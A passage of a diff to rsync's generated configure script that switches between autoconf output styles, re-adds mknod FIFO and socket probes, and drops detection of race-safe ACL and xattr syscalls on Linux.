unsigned char... \" >&6; }\n if test ${rsync_cv_SIGNED_CHAR_OK+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e)\n+else $as_nop\n+\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n@@ -12250,12 +11317,10 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n   rsync_cv_SIGNED_CHAR_OK=yes\n-else case e in #(\n-  e) rsync_cv_SIGNED_CHAR_OK=no ;;\n-esac\n+else $as_nop\n+  rsync_cv_SIGNED_CHAR_OK=no\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $rsync_cv_SIGNED_CHAR_OK\" >&5\n printf \"%s\\n\" \"$rsync_cv_SIGNED_CHAR_OK\" >&6; }\n@@ -12270,13 +11335,13 @@ printf %s \"checking for broken readdir... \" >&6; }\n if test ${rsync_cv_HAVE_BROKEN_READDIR+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e)\n+else $as_nop\n+\n if test \"$cross_compiling\" = yes\n then :\n   rsync_cv_HAVE_BROKEN_READDIR=cross\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n #ifdef HAVE_SYS_TYPES_H\n@@ -12290,16 +11355,13 @@ _ACEOF\n if ac_fn_c_try_run \"$LINENO\"\n then :\n   rsync_cv_HAVE_BROKEN_READDIR=yes\n-else case e in #(\n-  e) rsync_cv_HAVE_BROKEN_READDIR=no ;;\n-esac\n+else $as_nop\n+  rsync_cv_HAVE_BROKEN_READDIR=no\n fi\n rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \\\n-  conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+  conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $rsync_cv_HAVE_BROKEN_READDIR\" >&5\n printf \"%s\\n\" \"$rsync_cv_HAVE_BROKEN_READDIR\" >&6; }\n@@ -12314,8 +11376,8 @@ printf %s \"checking for utimbuf... \" >&6; }\n if test ${rsync_cv_HAVE_STRUCT_UTIMBUF+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e)\n+else $as_nop\n+\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n@@ -12334,12 +11396,10 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n   rsync_cv_HAVE_STRUCT_UTIMBUF=yes\n-else case e in #(\n-  e) rsync_cv_HAVE_STRUCT_UTIMBUF=no ;;\n-esac\n+else $as_nop\n+  rsync_cv_HAVE_STRUCT_UTIMBUF=no\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $rsync_cv_HAVE_STRUCT_UTIMBUF\" >&5\n printf \"%s\\n\" \"$rsync_cv_HAVE_STRUCT_UTIMBUF\" >&6; }\n@@ -12354,8 +11414,8 @@ printf %s \"checking if gettimeofday takes tz argument... \" >&6; }\n if test ${rsync_cv_HAVE_GETTIMEOFDAY_TZ+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e)\n+else $as_nop\n+\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n #include <sys/time.h>\n@@ -12373,12 +11433,10 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n   rsync_cv_HAVE_GETTIMEOFDAY_TZ=yes\n-else case e in #(\n-  e) rsync_cv_HAVE_GETTIMEOFDAY_TZ=no ;;\n-esac\n+else $as_nop\n+  rsync_cv_HAVE_GETTIMEOFDAY_TZ=no\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $rsync_cv_HAVE_GETTIMEOFDAY_TZ\" >&5\n printf \"%s\\n\" \"$rsync_cv_HAVE_GETTIMEOFDAY_TZ\" >&6; }\n@@ -12393,13 +11451,13 @@ printf %s \"checking for C99 vsnprintf... \" >&6; }\n if test ${rsync_cv_HAVE_C99_VSNPRINTF+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e)\n+else $as_nop\n+\n if test \"$cross_compiling\" = yes\n then :\n   rsync_cv_HAVE_C99_VSNPRINTF=cross\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n #ifdef HAVE_SYS_TYPES_H\n@@ -12429,16 +11487,13 @@ _ACEOF\n if ac_fn_c_try_run \"$LINENO\"\n then :\n   rsync_cv_HAVE_C99_VSNPRINTF=yes\n-else case e in #(\n-  e) rsync_cv_HAVE_C99_VSNPRINTF=no ;;\n-esac\n+else $as_nop\n+  rsync_cv_HAVE_C99_VSNPRINTF=no\n fi\n rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \\\n-  conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+  conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $rsync_cv_HAVE_C99_VSNPRINTF\" >&5\n printf \"%s\\n\" \"$rsync_cv_HAVE_C99_VSNPRINTF\" >&6; }\n@@ -12454,13 +11509,13 @@ printf %s \"checking for secure mkstemp... \" >&6; }\n if test ${rsync_cv_HAVE_SECURE_MKSTEMP+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e)\n+else $as_nop\n+\n if test \"$cross_compiling\" = yes\n then :\n   rsync_cv_HAVE_SECURE_MKSTEMP=cross\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n #include <stdlib.h>\n #ifdef HAVE_SYS_TYPES_H\n@@ -12484,16 +11539,13 @@ _ACEOF\n if ac_fn_c_try_run \"$LINENO\"\n then :\n   rsync_cv_HAVE_SECURE_MKSTEMP=yes\n-else case e in #(\n-  e) rsync_cv_HAVE_SECURE_MKSTEMP=no ;;\n-esac\n+else $as_nop\n+  rsync_cv_HAVE_SECURE_MKSTEMP=no\n fi\n rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \\\n-  conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+  conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $rsync_cv_HAVE_SECURE_MKSTEMP\" >&5\n printf \"%s\\n\" \"$rsync_cv_HAVE_SECURE_MKSTEMP\" >&6; }\n@@ -12512,14 +11564,93 @@ printf \"%s\\n\" \"#define HAVE_SECURE_MKSTEMP 1\" >>confdefs.h\n fi\n \n \n-# Whether mknod()/mknodat() can create a FIFO or a unix-domain socket is a\n-# property of the target filesystem, not a build-time constant -- e.g. mknod\n-# makes sockets on Linux but not the BSDs/macOS/Solaris, and a single transfer\n-# can write to filesystems with different capabilities.  So rsync no longer\n-# probes this at configure time (a run-test that also misfired when cross-\n-# compiling); do_mknod*() just try mknod[at]() and, on failure, fall back to\n-# mkfifo[at]()/socket+bind() per call.  We only need the libc symbols, checked\n-# above via AC_CHECK_FUNCS (mknod mknodat mkfifo mkfifoat) -- all link tests.\n+{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking if mknod creates FIFOs\" >&5\n+printf %s \"checking if mknod creates FIFOs... \" >&6; }\n+if test ${rsync_cv_MKNOD_CREATES_FIFOS+y}\n+then :\n+  printf %s \"(cached) \" >&6\n+else $as_nop\n+\n+if test \"$cross_compiling\" = yes\n+then :\n+  rsync_cv_MKNOD_CREATES_FIFOS=cross\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+/* end confdefs.h.  */\n+\n+#include <stdio.h>\n+#include <sys/stat.h>\n+#include <errno.h>\n+#if HAVE_UNISTD_H\n+# include <unistd.h>\n+#endif\n+int main(void) { int rc, ec; char *fn = \"fifo-test\";\n+unlink(fn); rc = mknod(fn,S_IFIFO,0600); ec = errno; unlink(fn);\n+if (rc) {printf(\"(%d %d) \",rc,ec); return ec;}\n+return 0;}\n+_ACEOF\n+if ac_fn_c_try_run \"$LINENO\"\n+then :\n+  rsync_cv_MKNOD_CREATES_FIFOS=yes\n+else $as_nop\n+  rsync_cv_MKNOD_CREATES_FIFOS=no\n+fi\n+rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \\\n+  conftest.$ac_objext conftest.beam conftest.$ac_ext\n+fi\n+\n+fi\n+{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $rsync_cv_MKNOD_CREATES_FIFOS\" >&5\n+printf \"%s\\n\" \"$rsync_cv_MKNOD_CREATES_FIFOS\" >&6; }\n+if test x\"$rsync_cv_MKNOD_CREATES_FIFOS\" = x\"yes\"; then\n+\n+printf \"%s\\n\" \"#define MKNOD_CREATES_FIFOS 1\" >>confdefs.h\n+\n+fi\n+\n+{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking if mknod creates sockets\" >&5\n+printf %s \"checking if mknod creates sockets... \" >&6; }\n+if test ${rsync_cv_MKNOD_CREATES_SOCKETS+y}\n+then :\n+  printf %s \"(cached) \" >&6\n+else $as_nop\n+\n+if test \"$cross_compiling\" = yes\n+then :\n+  rsync_cv_MKNOD_CREATES_SOCKETS=cross\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+/* end confdefs.h.  */\n+\n+#include <stdio.h>\n+#include <sys/stat.h>\n+#include <errno.h>\n+#if HAVE_UNISTD_H\n+# include <unistd.h>\n+#endif\n+int main(void) { int rc, ec; char *fn = \"sock-test\";\n+unlink(fn); rc = mknod(fn,S_IFSOCK,0600); ec = errno; unlink(fn);\n+if (rc) {printf(\"(%d %d) \",rc,ec); return ec;}\n+return 0;}\n+_ACEOF\n+if ac_fn_c_try_run \"$LINENO\"\n+then :\n+  rsync_cv_MKNOD_CREATES_SOCKETS=yes\n+else $as_nop\n+  rsync_cv_MKNOD_CREATES_SOCKETS=no\n+fi\n+rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \\\n+  conftest.$ac_objext conftest.beam conftest.$ac_ext\n+fi\n+\n+fi\n+{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $rsync_cv_MKNOD_CREATES_SOCKETS\" >&5\n+printf \"%s\\n\" \"$rsync_cv_MKNOD_CREATES_SOCKETS\" >&6; }\n+if test x\"$rsync_cv_MKNOD_CREATES_SOCKETS\" = x\"yes\"; then\n+\n+printf \"%s\\n\" \"#define MKNOD_CREATES_SOCKETS 1\" >>confdefs.h\n+\n+fi\n \n #\n # The following test was mostly taken from the tcl/tk plus patches\n@@ -12529,8 +11660,8 @@ printf %s \"checking whether -c -o works... \" >&6; }\n if test ${rsync_cv_DASHC_WORKS_WITH_DASHO+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e)\n+else $as_nop\n+\n rm -rf conftest*\n cat > conftest.$ac_ext <<EOF\n int main(void) { return 0; }\n@@ -12542,8 +11673,7 @@ else\n     rsync_cv_DASHC_WORKS_WITH_DASHO=no\n fi\n rm -rf conftest*\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $rsync_cv_DASHC_WORKS_WITH_DASHO\" >&5\n printf \"%s\\n\" \"$rsync_cv_DASHC_WORKS_WITH_DASHO\" >&6; }\n@@ -12682,22 +11812,16 @@ printf %s \"checking for acl_get_file in -lacl... \" >&6; }\n if test ${ac_cv_lib_acl_acl_get_file+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_check_lib_save_LIBS=$LIBS\n+else $as_nop\n+  ac_check_lib_save_LIBS=$LIBS\n LIBS=\"-lacl  $LIBS\"\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n /* Override any GCC internal prototype to avoid an error.\n    Use char because int might match the return type of a GCC\n-   builtin and then its argument prototype would still apply.\n-   The 'extern \"C\"' is for builds by C++ compilers;\n-   although this is not generally supported in C code supporting it here\n-   has little cost and some practical benefit (sr 110532).  */\n-#ifdef __cplusplus\n-extern \"C\"\n-#endif\n-char acl_get_file (void);\n+   builtin and then its argument prototype would still apply.  */\n+char acl_get_file ();\n int\n main (void)\n {\n@@ -12709,14 +11833,12 @@ _ACEOF\n if ac_fn_c_try_link \"$LINENO\"\n then :\n   ac_cv_lib_acl_acl_get_file=yes\n-else case e in #(\n-  e) ac_cv_lib_acl_acl_get_file=no ;;\n-esac\n+else $as_nop\n+  ac_cv_lib_acl_acl_get_file=no\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam \\\n     conftest$ac_exeext conftest.$ac_ext\n-LIBS=$ac_check_lib_save_LIBS ;;\n-esac\n+LIBS=$ac_check_lib_save_LIBS\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_acl_acl_get_file\" >&5\n printf \"%s\\n\" \"$ac_cv_lib_acl_acl_get_file\" >&6; }\n@@ -12733,8 +11855,8 @@ printf %s \"checking for ACL support... \" >&6; }\n if test ${samba_cv_HAVE_POSIX_ACLS+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e)\n+else $as_nop\n+\n \t    cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n@@ -12755,13 +11877,11 @@ _ACEOF\n if ac_fn_c_try_link \"$LINENO\"\n then :\n   samba_cv_HAVE_POSIX_ACLS=yes\n-else case e in #(\n-  e) samba_cv_HAVE_POSIX_ACLS=no ;;\n-esac\n+else $as_nop\n+  samba_cv_HAVE_POSIX_ACLS=no\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam \\\n-    conftest$ac_exeext conftest.$ac_ext ;;\n-esac\n+    conftest$ac_exeext conftest.$ac_ext\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $samba_cv_HAVE_POSIX_ACLS\" >&5\n printf \"%s\\n\" \"$samba_cv_HAVE_POSIX_ACLS\" >&6; }\n@@ -12780,8 +11900,8 @@ printf %s \"checking for acl_get_perm_np... \" >&6; }\n if test ${samba_cv_HAVE_ACL_GET_PERM_NP+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e)\n+else $as_nop\n+\n \t\tcat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n@@ -12802,13 +11922,11 @@ _ACEOF\n if ac_fn_c_try_link \"$LINENO\"\n then :\n   samba_cv_HAVE_ACL_GET_PERM_NP=yes\n-else case e in #(\n-  e) samba_cv_HAVE_ACL_GET_PERM_NP=no ;;\n-esac\n+else $as_nop\n+  samba_cv_HAVE_ACL_GET_PERM_NP=no\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam \\\n-    conftest$ac_exeext conftest.$ac_ext ;;\n-esac\n+    conftest$ac_exeext conftest.$ac_ext\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $samba_cv_HAVE_ACL_GET_PERM_NP\" >&5\n printf \"%s\\n\" \"$samba_cv_HAVE_ACL_GET_PERM_NP\" >&6; }\n@@ -12837,12 +11955,11 @@ printf %s \"checking whether to support extended attributes... \" >&6; }\n if test ${enable_xattr_support+y}\n then :\n   enableval=$enable_xattr_support;\n-else case e in #(\n-  e) case \"$ac_cv_func_getxattr$ac_cv_func_extattr_get_link$ac_cv_func_attropen\" in\n+else $as_nop\n+  case \"$ac_cv_func_getxattr$ac_cv_func_extattr_get_link$ac_cv_func_attropen\" in\n \t*yes*) enable_xattr_support=maybe ;;\n \t*) enable_xattr_support=no ;;\n-\tesac ;;\n-esac\n+\tesac\n fi\n \n \n@@ -12862,26 +11979,21 @@ printf \"%s\\n\" \"#define HAVE_LINUX_XATTRS 1\" >>confdefs.h\n \n printf \"%s\\n\" \"#define NO_SYMLINK_USER_XATTRS 1\" >>confdefs.h\n \n-\t{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for library containing getxattr\" >&5\n-printf %s \"checking for library containing getxattr... \" >&6; }\n-if test ${ac_cv_search_getxattr+y}\n+\t{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for getxattr in -lattr\" >&5\n+printf %s \"checking for getxattr in -lattr... \" >&6; }\n+if test ${ac_cv_lib_attr_getxattr+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_func_search_save_LIBS=$LIBS\n+else $as_nop\n+  ac_check_lib_save_LIBS=$LIBS\n+LIBS=\"-lattr  $LIBS\"\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n /* Override any GCC internal prototype to avoid an error.\n    Use char because int might match the return type of a GCC\n-   builtin and then its argument prototype would still apply.\n-   The 'extern \"C\"' is for builds by C++ compilers;\n-   although this is not generally supported in C code supporting it here\n-   has little cost and some practical benefit (sr 110532).  */\n-#ifdef __cplusplus\n-extern \"C\"\n-#endif\n-char getxattr (void);\n+   builtin and then its argument prototype would still apply.  */\n+char getxattr ();\n int\n main (void)\n {\n@@ -12890,42 +12002,23 @@ return getxattr ();\n   return 0;\n }\n _ACEOF\n-for ac_lib in '' attr\n-do\n-  if test -z \"$ac_lib\"; then\n-    ac_res=\"none required\"\n-  else\n-    ac_res=-l$ac_lib\n-    LIBS=\"-l$ac_lib  $ac_func_search_save_LIBS\"\n-  fi\n-  if ac_fn_c_try_link \"$LINENO\"\n+if ac_fn_c_try_link \"$LINENO\"\n then :\n-  ac_cv_search_getxattr=$ac_res\n+  ac_cv_lib_attr_getxattr=yes\n+else $as_nop\n+  ac_cv_lib_attr_getxattr=no\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam \\\n-    conftest$ac_exeext\n-  if test ${ac_cv_search_getxattr+y}\n-then :\n-  break\n+    conftest$ac_exeext conftest.$ac_ext\n+LIBS=$ac_check_lib_save_LIBS\n fi\n-done\n-if test ${ac_cv_search_getxattr+y}\n+{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_attr_getxattr\" >&5\n+printf \"%s\\n\" \"$ac_cv_lib_attr_getxattr\" >&6; }\n+if test \"x$ac_cv_lib_attr_getxattr\" = xyes\n then :\n+  printf \"%s\\n\" \"#define HAVE_LIBATTR 1\" >>confdefs.h\n \n-else case e in #(\n-  e) ac_cv_search_getxattr=no ;;\n-esac\n-fi\n-rm conftest.$ac_ext\n-LIBS=$ac_func_search_save_LIBS ;;\n-esac\n-fi\n-{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_search_getxattr\" >&5\n-printf \"%s\\n\" \"$ac_cv_search_getxattr\" >&6; }\n-ac_res=$ac_cv_search_getxattr\n-if test \"$ac_res\" != no\n-then :\n-  test \"$ac_res\" = \"none required\" || LIBS=\"$ac_res $LIBS\"\n+  LIBS=\"-lattr $LIBS\"\n \n fi\n \n@@ -12977,159 +12070,6 @@ printf \"%s\\n\" \"No extended attribute support found\" >&6; }\n     esac\n fi\n \n-#################################################\n-# On Linux, POSIX ACLs are stored as the \"system.posix_acl_{access,default}\"\n-# xattrs, so we can get/set them through a held O_NOFOLLOW fd (fsetxattr) or a\n-# dirfd+leaf (setxattrat, AT_SYMLINK_NOFOLLOW) instead of the path-based libacl\n-# acl_*_file() calls -- making the operation safe against a parent-symlink race.\n-# This needs POSIX ACLs and the f/at xattr syscalls, which on Linux are\n-# available whenever <sys/xattr.h> (or <attr/xattr.h>) is -- independent of the\n-# -X feature (--disable-xattr-support), so we gate on the header, not\n-# enable_xattr_support.\n-\n-\n-if test x\"$samba_cv_HAVE_POSIX_ACLS\" = x\"yes\" \\\n-   && { test x\"$ac_cv_header_sys_xattr_h\" = x\"yes\" || test x\"$ac_cv_header_attr_xattr_h\" = x\"yes\"; }; then\n-    case \"$host_os\" in\n-    *linux*)\n-\tprintf \"%s\\n\" \"#define SUPPORT_ACL_FD 1\" >>confdefs.h\n-\n-\t{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for SYS_setxattrat\" >&5\n-printf %s \"checking for SYS_setxattrat... \" >&6; }\n-if test ${rsync_cv_have_sys_setxattrat+y}\n-then :\n-  printf %s \"(cached) \" >&6\n-else case e in #(\n-  e)\n-\tcat confdefs.h - <<_ACEOF >conftest.$ac_ext\n-/* end confdefs.h.  */\n-#include <sys/syscall.h>\n-#include <stdint.h>\n-#ifdef HAVE_UNISTD_H\n-#include <unistd.h>\n-#endif\n-struct xattr_args { uint64_t value; uint32_t size; uint32_t flags; };\n-int\n-main (void)\n-{\n-struct xattr_args a; a.value = 0; a.size = 0; a.flags = 0;\n-\t  syscall(SYS_setxattrat, 0, \".\", 0, \"n\", &a, sizeof a);\n-\t  syscall(SYS_getxattrat, 0, \".\", 0, \"n\", &a, sizeof a);\n-\t  syscall(SYS_removexattrat, 0, \".\", 0, \"n\");\n-  ;\n-  return 0;\n-}\n-_ACEOF\n-if ac_fn_c_try_compile \"$LINENO\"\n-then :\n-  rsync_cv_have_sys_setxattrat=yes\n-else case e in #(\n-  e) rsync_cv_have_sys_setxattrat=no ;;\n-esac\n-fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n-fi\n-{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $rsync_cv_have_sys_setxattrat\" >&5\n-printf \"%s\\n\" \"$rsync_cv_have_sys_setxattrat\" >&6; }\n-\tif test x\"$rsync_cv_have_sys_setxattrat\" = x\"yes\"; then\n-\t    printf \"%s\\n\" \"#define HAVE_XATTRAT_SYSCALLS 1\" >>confdefs.h\n-\n-\tfi\n-\t;;\n-    esac\n-fi\n-\n-#################################################\n-# Detect a patched libacl providing the race-safe\n-# *_at ACL entry points (acl_get_file_at/acl_set_file_at/acl_delete_def_file_at,\n-# ACL_1.3, unreleased upstream).  When present we route the race-safe ACL get/\n-# set/delete through them on Linux -- race-safe on every kernel (6.13+ uses\n-# *xattrat; older uses libacl's /proc/self/fd compat).  A stock -lacl lacks these\n-# symbols, so this stays undefined and the build falls back to lib/acl.c;\n-# detection must therefore run against the patched lib (CPPFLAGS/LDFLAGS).\n-\n-if test x\"$samba_cv_HAVE_POSIX_ACLS\" = x\"yes\"; then\n-    case \"$host_os\" in\n-    *linux*)\n-\t{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for acl_get_file_at in -lacl\" >&5\n-printf %s \"checking for acl_get_file_at in -lacl... \" >&6; }\n-if test ${ac_cv_lib_acl_acl_get_file_at+y}\n-then :\n-  printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_check_lib_save_LIBS=$LIBS\n-LIBS=\"-lacl  $LIBS\"\n-cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n-/* end confdefs.h.  */\n-\n-/* Override any GCC internal prototype to avoid an error.\n-   Use char because int might match the return type of a GCC\n-   builtin and then its argument prototype would still apply.\n-   The 'extern \"C\"' is for builds by C++ compilers;\n-   although this is not generally supported in C code supporting it here\n-   has little cost and some practical benefit (sr 110532).  */\n-#ifdef __cplusplus\n-extern \"C\"\n-#endif\n-char acl_get_file_at (void);\n-int\n-main (void)\n-{\n-return acl_get_file_at ();\n-  ;\n-  return 0;\n-}\n-_ACEOF\n-if ac_fn_c_try_link \"$LINENO\"\n-then :\n-  ac_cv_lib_acl_acl_get_file_at=yes\n-else case e in #(\n-  e) ac_cv_lib_acl_acl_get_file_at=no ;;\n-esac\n-fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam \\\n-    conftest$ac_exeext conftest.$ac_ext\n-LIBS=$ac_check_lib_save_LIBS ;;\n-esac\n-fi\n-{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_acl_acl_get_file_at\" >&5\n-printf \"%s\\n\" \"$ac_cv_lib_acl_acl_get_file_at\" >&6; }\n-if test \"x$ac_cv_lib_acl_acl_get_file_at\" = xyes\n-then :\n-  rsync_have_libacl_at=yes\n-else case e in #(\n-  e) rsync_have_libacl_at=no ;;\n-esac\n-fi\n-\n-\tif test x\"$rsync_have_libacl_at\" = x\"yes\"; then\n-\n-  for ac_func in acl_set_file_at acl_delete_def_file_at\n-do :\n-  as_ac_var=`printf \"%s\\n\" \"ac_cv_func_$ac_func\" | sed \"$as_sed_sh\"`\n-ac_fn_c_check_func \"$LINENO\" \"$ac_func\" \"$as_ac_var\"\n-if eval test \\\"x\\$\"$as_ac_var\"\\\" = x\"yes\"\n-then :\n-  cat >>confdefs.h <<_ACEOF\n-#define `printf \"%s\\n\" \"HAVE_$ac_func\" | sed \"$as_sed_cpp\"` 1\n-_ACEOF\n-\n-else case e in #(\n-  e) rsync_have_libacl_at=no ;;\n-esac\n-fi\n-\n-done\n-\tfi\n-\tif test x\"$rsync_have_libacl_at\" = x\"yes\"; then\n-\t    printf \"%s\\n\" \"#define HAVE_LIBACL_AT 1\" >>confdefs.h\n-\n-\tfi\n-\t;;\n-    esac\n-fi\n-\n if test x\"$enable_acl_support\" = x\"no\" || test x\"$enable_xattr_support\" = x\"no\" || test x\"$enable_iconv\" = x\"no\"; then\n     { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking whether $CC supports -Wno-unused-parameter\" >&5\n printf %s \"checking whether $CC supports -Wno-unused-parameter... \" >&6; }\n@@ -13149,9 +12089,8 @@ _ACEOF\n if ac_fn_c_try_link \"$LINENO\"\n then :\n   rsync_warn_flag=yes\n-else case e in #(\n-  e) rsync_warn_flag=no ;;\n-esac\n+else $as_nop\n+  rsync_warn_flag=no\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam \\\n     conftest$ac_exeext conftest.$ac_ext\n@@ -13182,8 +12121,8 @@ cat >confcache <<\\_ACEOF\n # config.status only pays attention to the cache file if you give it\n # the --recheck option to rerun configure.\n #\n-# 'ac_cv_env_foo' variables (set or unset) will be overridden when\n-# loading this file, other *unset* 'ac_cv_foo' will be assigned the\n+# `ac_cv_env_foo' variables (set or unset) will be overridden when\n+# loading this file, other *unset* `ac_cv_foo' will be assigned the\n # following values.\n \n _ACEOF\n@@ -13213,14 +12152,14 @@ printf \"%s\\n\" \"$as_me: WARNING: cache variable $ac_var contains a newline\" >&2;}\n   (set) 2>&1 |\n     case $as_nl`(ac_space=' '; set) 2>&1` in #(\n     *${as_nl}ac_space=\\ *)\n-      # 'set' does not quote correctly, so add quotes: double-quote\n+      # `set' does not quote correctly, so add quotes: double-quote\n       # substitution turns \\\\\\\\ into \\\\, and sed turns \\\\ into \\.\n       sed -n \\\n \t\"s/'/'\\\\\\\\''/g;\n \t  s/^\\\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\\\)=\\\\(.*\\\\)/\\\\1='\\\\2'/p\"\n       ;; #(\n     *)\n-      # 'set' quotes correctly as required by POSIX, so do not add quotes.\n+      # `set' quotes correctly as required by POSIX, so do not add quotes.\n       sed -n \"/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p\"\n       ;;\n     esac |\n@@ -13282,12 +12221,6 @@ LTLIBOBJS=$ac_ltlibobjs\n \n \n \n-# Check whether --enable-year2038 was given.\n-if test ${enable_year2038+y}\n-then :\n-  enableval=$enable_year2038;\n-fi\n-\n \n : \"${CONFIG_STATUS=./config.status}\"\n ac_write_fail=0\n@@ -13317,6 +12250,7 @@ cat >>$CONFIG_STATUS <<\\_ASEOF || as_write_fail=1\n \n # Be more Bourne compatible\n DUALCASE=1; export DUALCASE # for MKS sh\n+as_nop=:\n if test ${ZSH_VERSION+y} && (emulate sh) >/dev/null 2>&1\n then :\n   emulate sh\n@@ -13325,13 +12259,12 @@ then :\n   # is contrary to our usage.  Disable this feature.\n   alias -g '${1+\"$@\"}'='\"$@\"'\n   setopt NO_GLOB_SUBST\n-else case e in #(\n-  e) case `(set -o) 2>/dev/null` in #(\n+else $as_nop\n+  case `(set -o) 2>/dev/null` in #(\n   *posix*) :\n     set -o posix ;; #(\n   *) :\n      ;;\n-esac ;;\n esac\n fi\n \n@@ -13403,7 +12336,7 @@ IFS=$as_save_IFS\n \n      ;;\n esac\n-# We did not find ourselves, most probably we were run as 'sh COMMAND'\n+# We did not find ourselves, most probably we were run as `sh COMMAND'\n # in which case we are not to be found in the path.\n if test \"x$as_myself\" = x; then\n   as_myself=$0\n@@ -13432,6 +12365,7 @@ as_fn_error ()\n } # as_fn_error\n \n \n+\n # as_fn_set_status STATUS\n # -----------------------\n # Set $? to STATUS, without forking.\n@@ -13471,12 +12405,11 @@ then :\n   {\n     eval $1+=\\$2\n   }'\n-else case e in #(\n-  e) as_fn_append ()\n+else $as_nop\n+  as_fn_append ()\n   {\n     eval 